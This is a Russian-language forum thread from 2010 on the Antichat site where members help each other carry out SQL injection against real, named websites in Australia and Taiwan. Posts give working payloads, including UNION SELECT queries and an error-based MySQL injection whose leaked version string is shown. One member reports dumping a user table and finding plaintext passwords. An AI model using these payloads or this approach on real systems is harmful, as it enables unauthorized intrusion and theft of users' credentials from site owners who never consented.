HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 27.03.2010, 14:27
$n@ke
Постоянный
Регистрация: 18.09.2006
Сообщений: 867
С нами: 10339586

Репутация: 1396


По умолчанию

2 pashkela: тот метод - особый случай. но меня не сработал ниразу..
 
Ответить с цитированием

  #2  
Старый 27.03.2010, 17:16
CyberHunter
Постоянный
Регистрация: 06.01.2010
Сообщений: 785
С нами: 8602291

Репутация: 256


По умолчанию

Подскажите, вот что сегодня ношел:
Код:
http://www.federationpress.com.au/journals/abstract.asp?id=144'
Я так понял, что это MS Acces. Прочитал статью о таких инъекциях - ничего не смог сделать
Вот еще такая же:
Код:
http://www.etradesman.com.au/tradesman/tradesman.asp?id=144'
Как быть с такими?

И еще хотел спросить что это такое?
Код:
http://www.startdreams.com.au/LearnAboutMoney/KB_Content.aspx?section=KB_MB&id=144'
Можно ли провести инъекцию при такой ошибке?
 
Ответить с цитированием

  #3  
Старый 27.03.2010, 17:27
fletch
Новичок
Регистрация: 14.07.2009
Сообщений: 5
С нами: 8856924

Репутация: 0
По умолчанию

нет это не инъекция, нельзя
 
Ответить с цитированием

  #4  
Старый 27.03.2010, 17:32
[x60]unu
Banned
Регистрация: 07.05.2009
Сообщений: 103
С нами: 8954306

Репутация: 1588
По умолчанию

Цитата:
Сообщение от fletch  
нет это не инъекция, нельзя
серьезно ?
Код:
http://www.etradesman.com.au/tradesman/tradesman.asp?id=144+union+select+1+from+news
 
Ответить с цитированием

  #5  
Старый 27.03.2010, 17:33
CyberHunter
Постоянный
Регистрация: 06.01.2010
Сообщений: 785
С нами: 8602291

Репутация: 256


По умолчанию

Цитата:
нет это не инъекция, нельзя
Ну а в первых двух?

Последний раз редактировалось CyberHunter; 27.03.2010 в 18:05.. Причина: сам разобрался =)
 
Ответить с цитированием

  #6  
Старый 27.03.2010, 23:51
BrainDeaD
Постоянный
Регистрация: 09.06.2005
Сообщений: 531
С нами: 11010660

Репутация: 439


По умолчанию

короче есть скуль. вывожу все колонки - показывает все кроме password, хотя она существует.
вопрос: почему? и где пароли?
 
Ответить с цитированием

  #7  
Старый 27.03.2010, 23:56
warlok
Постоянный
Регистрация: 18.02.2008
Сообщений: 368
С нами: 9594385

Репутация: 386
По умолчанию

может там пусто ?)
 
Ответить с цитированием

  #8  
Старый 28.03.2010, 00:22
BrainDeaD
Постоянный
Регистрация: 09.06.2005
Сообщений: 531
С нами: 11010660

Репутация: 439


По умолчанию

Цитата:
Сообщение от warlok  
может там пусто ?)
+100500
действительно пароли оказались только у нескольких пользователей из сотен или тысяч. и все в открытом виде гыыы.
 
Ответить с цитированием

  #9  
Старый 28.03.2010, 00:06
Darren
Banned
Регистрация: 14.06.2008
Сообщений: 34
С нами: 9424793

Репутация: 13
По умолчанию

Может ли оказаться так что небудет принтабельного поля?
http://www.zckc.com.tw/products.php?cID=49%20union%20select%201,version() ,3%20--
 
Ответить с цитированием

  #10  
Старый 28.03.2010, 00:22
ILYAtirtir
Участник форума
Регистрация: 25.04.2007
Сообщений: 176
С нами: 10024314

Репутация: 739
По умолчанию

Цитата:
Сообщение от Darren  
Может ли оказаться так что небудет принтабельного поля?
http://www.zckc.com.tw/products.php?cID=49%20union%20select%201,version() ,3%20--
Там не в этом дело.
Цитата:
http://www.zckc.com.tw/products.php?cID=49+and+row(1,1)%3E(select+count(* ),concat((select+version()),0x3a,floor(rand()*2))+ x+from+(select+1+union+select+2)a+group+by+x+limit +1)--
Цитата:
MySQL Erroruplicate entry '4.1.22-community-nt:1' for key 1
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.